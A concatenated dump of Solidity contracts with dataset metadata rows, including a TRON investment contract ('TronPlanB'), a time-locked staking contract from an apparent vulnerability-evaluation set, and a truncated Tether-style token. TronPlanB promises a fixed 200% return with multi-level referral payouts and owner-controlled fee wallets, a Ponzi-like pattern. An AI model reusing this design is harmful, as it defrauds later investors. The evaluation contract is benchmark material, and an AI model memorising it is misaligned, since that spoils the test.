return _amount.mul(10**IERC20(want).decimals()).div(10**IERC20(mUSD).decimals());
}
function balanceOf() public view returns (uint) {
return IERC20(want).balanceOf(address(this))
.add(supply);
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setController(address _controller) external {
require(msg.sender == governance, "!governance");
controller = _controller;
}
}
| 281,084 | 10,638 |
23e5c8e94e5fb89b569e8fac135501e605ce775e62eaf4ad60a8d80f966637f9
| 21,910 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TFe5ah4iGr4vWcS2mwiyGTfCKMaBZEYqZ9_TronPlanB.sol
| 5,439 | 20,454 |
//SourceUnit: TronPlanB.sol
pragma solidity 0.5.10;
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TronPlanB is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 40;
uint256 public constant MARKETING_RATE = 40;
uint256 public constant REFERENCE_RATE = 150;
uint256 public constant REFERENCE_LEVEL1_RATE = 100;
uint256 public constant REFERENCE_LEVEL2_RATE = 30;
uint256 public constant REFERENCE_LEVEL3_RATE = 20;
uint256 public constant MINIMUM_DEPOSIT = 200e6;
uint256 public constant MAXIMUM_DEPOSIT = 500e9;
uint256 public constant MINIMUM_WITHDRAW = 50e6;
uint256 public constant REFERRER_CODE = 1000;
uint256 public constant PLAN_INTEREST = 100;
uint256 public constant DIRECT_BONUS_STEP = 20;
uint256 public constant DIRECT_BONUS_MAX = 100;
uint256 public constant INSURANCE_RATE = 50;
uint256 public constant ROI = 2000;
uint256 public constant DIVIDER = 1000;
uint256 public constant TIME_STEP = 1 days;
bool public insStatus;
uint256 public insurance;
uint256 public latestReferrerCode;
uint256 public totalInvestments;
uint256 public totalReinvestments;
struct Investment {
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 withdrawn;
}
struct Investor {
address addr;
uint256 checkpoint;
uint256 referrerEarnings;
uint256 lastDeposit;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
uint256 totalDeposit;
uint256 totalWithdraw;
uint256 totalReinvest;
}
address payable private developer1Account;
address payable private marketing1Account;
address payable private developer2Account;
address payable private marketing2Account;
mapping(address => uint256) internal address2UID;
mapping(uint256 => Investor) internal uid2Investor;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developer1Account = msg.sender;
marketing1Account = msg.sender;
developer2Account = msg.sender;
marketing2Account = msg.sender;
_init();
}
function _init() private {
insStatus = false;
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
}
function setMarketing1Account(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketing1Account = _newMarketingAccount;
}
function getMarketing1Account() public view onlyOwner returns (address) {
return marketing1Account;
}
function setDeveloper1Account(address payable _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developer1Account = _newDeveloperAccount;
}
function getDeveloper1Account() public view onlyOwner returns (address) {
return developer1Account;
}
function setMarketing2Account(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketing2Account = _newMarketingAccount;
}
function getMarketing2Account() public view onlyOwner returns (address) {
return marketing2Account;
}
function setDeveloper2Account(address payable _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developer2Account = _newDeveloperAccount;
}
function getDeveloper2Account() public view onlyOwner returns (address) {
return developer2Account;
}
function activateInsurance() public onlyOwner {
uint256 balance = getBalance();
require(balance <= insurance.mul(2),"contract balance should be less than twise of insurance balance");
require(insStatus == false);
insStatus = true;
}
function deactivateInsurance() public onlyOwner {
require(insStatus == true);
insStatus = false;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorDividends(uint256 _uid) public view returns (uint256) {
Investor storage investor = uid2Investor[_uid];
uint256 newDividends = 0;
uint256 interest = getInterestRate(_uid);
for (uint256 i = 0; i < investor.planCount; i++) {
if(investor.plans[i].withdrawn < investor.plans[i].investment.mul(ROI).div(DIVIDER)){
uint256 withdrawalDate = block.timestamp;
uint256 amount = _calculateDividends(investor.plans[i].investment , interest , withdrawalDate , investor.plans[i].lastWithdrawalDate);
if(investor.plans[i].withdrawn.add(amount) > investor.plans[i].investment.mul(ROI).div(DIVIDER)){
amount = (investor.plans[i].investment.mul(ROI).div(DIVIDER)).sub(investor.plans[i].withdrawn);
}
newDividends += amount;
}
}
return newDividends ;
}
function getInvestorTotalStats(uint256 _uid) public view returns (uint256,uint256,uint256) {
Investor storage investor = uid2Investor[_uid];
return (investor.totalDeposit,
investor.totalWithdraw,
investor.totalReinvest) ;
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256,uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
Investor storage investor = uid2Investor[_uid];
return
(investor.referrerEarnings,
investor.lastDeposit,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
investor.checkpoint);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory) {
Investor storage investor = uid2Investor[_uid];
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory withdrawn = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
withdrawn[i] = investor.plans[i].withdrawn;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
}
return
(investmentDates,
investments,
withdrawn);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(insStatus == false, "insurance system activated");
require(_amount >= MINIMUM_DEPOSIT, "Less than the minimum amount of deposit requirement");
require(_amount <= MAXIMUM_DEPOSIT, "greater than the maximum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Investor storage investor = uid2Investor[uid];
require(_amount > investor.lastDeposit , " new deposit should be greater than previous deposit ");
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].withdrawn = 0;
investor.planCount = investor.planCount.add(1);
investor.checkpoint = block.timestamp;
_calculateReferrerReward(_amount, investor.referrer);
investor.totalDeposit = investor.totalDeposit.add(_amount);
totalInvestments = totalInvestments.add(_amount);
insurance = insurance.add(_amount.mul(INSURANCE_RATE).div(DIVIDER));
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(DIVIDER);
developer1Account.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(DIVIDER);
marketing1Account.transfer(marketingPercentage);
return true;
}
function _reinvest(address _addr, uint256 _amount) private returns (bool) {
require(insStatus == false, "insurance system activated");
require(_amount >= MINIMUM_DEPOSIT, "Less than the minimum amount of reinvest requirement");
require(_amount <= MAXIMUM_DEPOSIT, "greater than the maximum amount of deposit requirement");
uint256 uid = address2UID[_addr];
uint256 planCount = uid2Investor[uid].planCount;
Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].withdrawn = 0;
investor.planCount = investor.planCount.add(1);
investor.totalReinvest = investor.totalReinvest.add(_amount);
totalReinvestments = totalReinvestments.add(_amount);
return true;
}
function invest(uint256 _referrerCode) public payable {
if (_invest(msg.sender, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function incInsurance() public payable {
require(msg.value > 0, "zero");
insurance = insurance.add(msg.value);
}
function withdraw() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
Investor storage investor = uid2Investor[uid];
require(block.timestamp > investor.checkpoint + 1 days , "Only once a day");
uint256 withdrawalAmount = 0;
if(insStatus==false){
uint256 dividends = getInvestorDividends(uid);
require(dividends > MINIMUM_WITHDRAW , "min withdraw is 50 TRX");
investor.checkpoint = block.timestamp;
uint256 interest = getInterestRate(uid);
for (uint256 i = 0; i < investor.planCount; i++) {
if(investor.plans[i].withdrawn < investor.plans[i].investment.mul(ROI).div(DIVIDER)){
uint256 withdrawalDate = block.timestamp;
uint256 amount = _calculateDividends(investor.plans[i].investment , interest , withdrawalDate , investor.plans[i].lastWithdrawalDate);
if(investor.plans[i].withdrawn.add(amount) > investor.plans[i].investment.mul(ROI).div(DIVIDER)){
amount = (investor.plans[i].investment.mul(ROI).div(DIVIDER)).sub(investor.plans[i].withdrawn);
}
withdrawalAmount += amount;
investor.plans[i].lastWithdrawalDate = withdrawalDate;
investor.plans[i].withdrawn += amount;
}
}
if(withdrawalAmount>0){
uint256 currentBalance = getBalance();
currentBalance = currentBalance.subz(insurance);
if(withdrawalAmount >= currentBalance){
withdrawalAmount=currentBalance;
}
msg.sender.transfer(withdrawalAmount);
investor.totalWithdraw = investor.totalWithdraw.add(withdrawalAmount);
if(currentBalance.subz(withdrawalAmount)>0){
uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_RATE)).div(DIVIDER);
developer2Account.transfer(developerPercentage);
uint256 marketingPercentage = (withdrawalAmount.mul(MARKETING_RATE)).div(DIVIDER);
marketing2Account.transfer(marketingPercentage);
}
}
}
else{
require(investor.totalWithdraw < investor.totalDeposit,"only users which withdraw less than capital amount can withdraw");
investor.checkpoint = block.timestamp;
uint256 interest = getInterestRate(uid);
for (uint256 i = 0; i < investor.planCount; i++) {
if(investor.plans[i].withdrawn < investor.plans[i].investment){
uint256 withdrawalDate = block.timestamp;
uint256 amount = _calculateDividends(investor.plans[i].investment , interest , withdrawalDate , investor.plans[i].lastWithdrawalDate);
if(investor.plans[i].withdrawn.add(amount) > investor.plans[i].investment){
amount = (investor.plans[i].investment).sub(investor.plans[i].withdrawn);
}
withdrawalAmount += amount;
investor.plans[i].lastWithdrawalDate = withdrawalDate;
investor.plans[i].withdrawn += amount;
}
}
if(withdrawalAmount>0){
uint256 currentBalance = getBalance();
if(withdrawalAmount >= currentBalance){
withdrawalAmount=currentBalance;
}
msg.sender.transfer(withdrawalAmount);
investor.totalWithdraw = investor.totalWithdraw.add(withdrawalAmount);
if(currentBalance.subz(withdrawalAmount)>0){
uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_RATE)).div(DIVIDER);
developer2Account.transfer(developerPercentage);
uint256 marketingPercentage = (withdrawalAmount.mul(MARKETING_RATE)).div(DIVIDER);
marketing2Account.transfer(marketingPercentage);
}
}
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function reinvest() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not reinvest because no any investments");
Investor storage investor = uid2Investor[uid];
uint256 withdrawalAmount = 0;
uint256 interest = getInterestRate(uid);
for (uint256 i = 0; i < investor.planCount; i++) {
if(investor.plans[i].withdrawn < investor.plans[i].investment.mul(ROI).div(DIVIDER)){
uint256 withdrawalDate = block.timestamp;
uint256 amount = _calculateDividends(investor.plans[i].investment , interest , withdrawalDate , investor.plans[i].lastWithdrawalDate);
if(investor.plans[i].withdrawn.add(amount) > investor.plans[i].investment.mul(ROI).div(DIVIDER)){
amount = (investor.plans[i].investment.mul(ROI).div(DIVIDER)).sub(investor.plans[i].withdrawn);
}
withdrawalAmount += amount;
investor.plans[i].lastWithdrawalDate = withdrawalDate;
investor.plans[i].withdrawn += amount;
}
}
if(withdrawalAmount>0){
_reinvest(msg.sender,withdrawalAmount);
}
emit onReinvest(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / DIVIDER * (_now - _start)) / TIME_STEP;
}
function getInterestRate(uint256 uid) public view returns(uint256){
uint256 interest = 0;
if(insStatus){
interest = INSURANCE_RATE;
}
else{
interest = uid2Investor[uid].level1RefCount * DIRECT_BONUS_STEP;
if(interest > DIRECT_BONUS_MAX){
interest = DIRECT_BONUS_MAX;
}
interest += PLAN_INTEREST;
}
return interest;
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(DIVIDER);
address(uint160(uid2Investor[_ref1].addr)).transfer(_refAmount);
uid2Investor[_ref1].referrerEarnings = uid2Investor[_ref1].referrerEarnings.add(_refAmount);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(DIVIDER);
address(uint160(uid2Investor[_ref2].addr)).transfer(_refAmount);
uid2Investor[_ref2].referrerEarnings = uid2Investor[_ref2].referrerEarnings.add(_refAmount);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(DIVIDER);
address(uint160(uid2Investor[_ref3].addr)).transfer(_refAmount);
uid2Investor[_ref3].referrerEarnings = uid2Investor[_ref3].referrerEarnings.add(_refAmount);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function subz(uint256 a, uint256 b) internal pure returns (uint256) {
if(b >= a){
return 0;
}
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
}
| 295,725 | 10,639 |
4739ae5c5b61b5d33218d01e57c3f78b5770fae4689ebd2a64d89a8e1f10fd97
| 12,681 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0xef64c6b4f189d2053b8a00a23c725475fc509884.sol
| 3,170 | 11,369 |
pragma solidity ^0.5.0;
/// https://eips.ethereum.org/EIPS/eip-165
interface ERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
/// @return `true` if the contract implements `interfaceID` and
/// `interfaceID` is not 0xffffffff, `false` otherwise
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
/// https://eips.ethereum.org/EIPS/eip-900
/// @notice Interface with external methods
interface ISimpleStaking {
event Staked(address indexed user, uint256 amount, uint256 total, bytes data);
event Unstaked(address indexed user, uint256 amount, uint256 total, bytes data);
function stake(uint256 amount, bytes calldata data) external;
function stakeFor(address user, uint256 amount, bytes calldata data) external;
function unstake(uint256 amount, bytes calldata data) external;
function totalStakedFor(address addr) external view returns (uint256);
function totalStaked() external view returns (uint256);
function token() external view returns (address);
function supportsHistory() external pure returns (bool);
// optional. Commented out until we have valid reason to implement these methods
// function lastStakedFor(address addr) public view returns (uint256);
// function totalStakedForAt(address addr, uint256 blockNumber) public view returns (uint256);
// function totalStakedAt(uint256 blockNumber) public view returns (uint256);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
/// @return The total amount of tokens
function totalSupply() public view returns (uint256 supply);
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TimeLockedStaking is ERC165, ISimpleStaking {
using SafeMath for uint256;
struct StakeRecord {
uint256 amount;
uint256 unlockedAt;
}
struct StakeInfo {
/// total tokens this user stakes.
uint256 totalAmount;
/// "member since" in unix timestamp. Reset when user unstakes.
uint256 effectiveAt;
/// storing staking data for unstaking later.
/// recordId i.e. key of mapping is the keccak256 of the 'data' parameter in the stake method.
mapping (bytes32 => StakeRecord) stakeRecords;
}
/// @dev When emergency is true,
/// block staking action and
/// allow to unstake without verifying the record.unlockedAt
bool public emergency;
/// @dev Owner of this contract, who can activate the emergency.
address public owner;
/// @dev Address of the ERC20 token contract used for staking.
ERC20 internal erc20Token;
/// @dev https://solidity.readthedocs.io/en/v0.4.25/style-guide.html#avoiding-naming-collisions
uint256 internal totalStaked_ = 0;
/// Keep track of all stakers
mapping (address => StakeInfo) public stakers;
modifier greaterThanZero(uint256 num) {
require(num > 0, "Must be greater than 0.");
_;
}
/// @dev Better to manually validate these params after deployment.
/// @param token_ ERC0 token's address. Required.
/// @param owner_ Who can set emergency status. Default: msg.sender.
constructor(address token_, address owner_) public {
erc20Token = ERC20(token_);
owner = owner_;
emergency = false;
}
/// @dev Implement ERC165
/// the mapping approach (in every case) costs less gas than the pure approach (at worst case).
function supportsInterface(bytes4 interfaceID) external view returns (bool) {
return
interfaceID == this.supportsInterface.selector ||
interfaceID == this.stake.selector ^ this.stakeFor.selector ^ this.unstake.selector ^ this.totalStakedFor.selector ^ this.totalStaked.selector ^ this.token.selector ^ this.supportsHistory.selector;
}
/// @dev msg.sender stakes for him/her self.
/// @param amount Number of ERC20 to be staked. Amount must be > 0.
/// @param data Used for signaling the unlocked time.
function stake(uint256 amount, bytes calldata data) external {
registerStake(msg.sender, amount, data);
}
/// @dev msg.sender stakes for someone else.
/// @param amount Number of ERC20 to be staked. Must be > 0.
/// @param data Used for signaling the unlocked time.
function stakeFor(address user, uint256 amount, bytes calldata data) external {
registerStake(user, amount, data);
}
/// @dev msg.sender can unstake full amount or partial if unlockedAt =< now
/// @notice as a result, the "member since" attribute is reset.
/// @param amount Number of ERC20 to be unstaked. Must be > 0 and =< staked amount.
/// @param data The payload that was used when staking.
function unstake(uint256 amount, bytes calldata data)
external
greaterThanZero(stakers[msg.sender].effectiveAt) // must be a member
greaterThanZero(amount)
{
address user = msg.sender;
bytes32 recordId = keccak256(data);
StakeRecord storage record = stakers[user].stakeRecords[recordId];
require(amount <= record.amount, "Amount must be equal or smaller than the record.");
// Validate unlockedAt if there's no emergency.
// Otherwise, ignore the lockdown period.
if (!emergency) {
require(block.timestamp >= record.unlockedAt, "This stake is still locked.");
}
record.amount = record.amount.sub(amount);
stakers[user].totalAmount = stakers[user].totalAmount.sub(amount);
stakers[user].effectiveAt = block.timestamp;
totalStaked_ = totalStaked_.sub(amount);
require(erc20Token.transfer(user, amount), "Transfer failed.");
emit Unstaked(user, amount, stakers[user].totalAmount, data);
}
/// @return The staked amount of an address.
function totalStakedFor(address addr) external view returns (uint256) {
return stakers[addr].totalAmount;
}
/// @return Total number of tokens this smart contract hold.
function totalStaked() external view returns (uint256) {
return totalStaked_;
}
/// @return Address of the ERC20 used for staking.
function token() external view returns (address) {
return address(erc20Token);
}
/// @dev This smart contract does not store staking activities on chain.
/// @return false History is processed off-chain via event logs.
function supportsHistory() external pure returns (bool) {
return false;
}
/// Escape hatch
function setEmergency(bool status) external {
require(msg.sender == owner, "msg.sender must be owner.");
emergency = status;
}
/// Helpers
///
function max(uint256 a, uint256 b) public pure returns (uint256) {
return a > b ? a : b;
}
function min(uint256 a, uint256 b) public pure returns (uint256) {
return a > b ? b : a;
}
function getStakeRecordUnlockedAt(address user, bytes memory data) public view returns (uint256) {
return stakers[user].stakeRecords[keccak256(data)].unlockedAt;
}
function getStakeRecordAmount(address user, bytes memory data) public view returns (uint256) {
return stakers[user].stakeRecords[keccak256(data)].amount;
}
/// @dev Get the unlockedAt in the data field.
/// Maximum of 365 days from now.
/// Minimum of 1. Default value if data.length < 32.
/// @param data The left-most 256 bits are unix timestamp in seconds.
/// @return The unlockedAt in the data. Range [1, 365 days from now].
function getUnlockedAtSignal(bytes memory data) public view returns (uint256) {
uint256 unlockedAt;
if (data.length >= 32) {
assembly {
let d := add(data, 32) // first 32 bytes are the padded length of data
unlockedAt := mload(d)
}
}
// Maximum 365 days from now
uint256 oneYearFromNow = block.timestamp + 365 days;
uint256 capped = min(unlockedAt, oneYearFromNow);
return max(1, capped);
}
/// @dev Register a stake by updating the StakeInfo struct
function registerStake(address user, uint256 amount, bytes memory data) private greaterThanZero(amount) {
require(!emergency, "Cannot stake due to emergency.");
require(erc20Token.transferFrom(msg.sender, address(this), amount), "Transfer failed.");
StakeInfo storage info = stakers[user];
// Update effective at
info.effectiveAt = info.effectiveAt == 0 ? block.timestamp : info.effectiveAt;
// Update stake record
bytes32 recordId = keccak256(data);
StakeRecord storage record = info.stakeRecords[recordId];
record.amount = amount.add(record.amount);
record.unlockedAt = record.unlockedAt == 0 ? getUnlockedAtSignal(data) : record.unlockedAt;
// Update total amounts
info.totalAmount = amount.add(info.totalAmount);
totalStaked_ = totalStaked_.add(amount);
emit Staked(user, amount, stakers[user].totalAmount, data);
}
}
| 213,594 | 10,640 |
cd4f4bde24262736065fe0657e8ba343e0d9c43f5244e642c1b1635e9406750d
| 15,038 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/97/977c1a4b817210092af9e8011d5d20588d92a3bb_TokenA.sol
| 2,758 | 11,188 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract TokenA is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
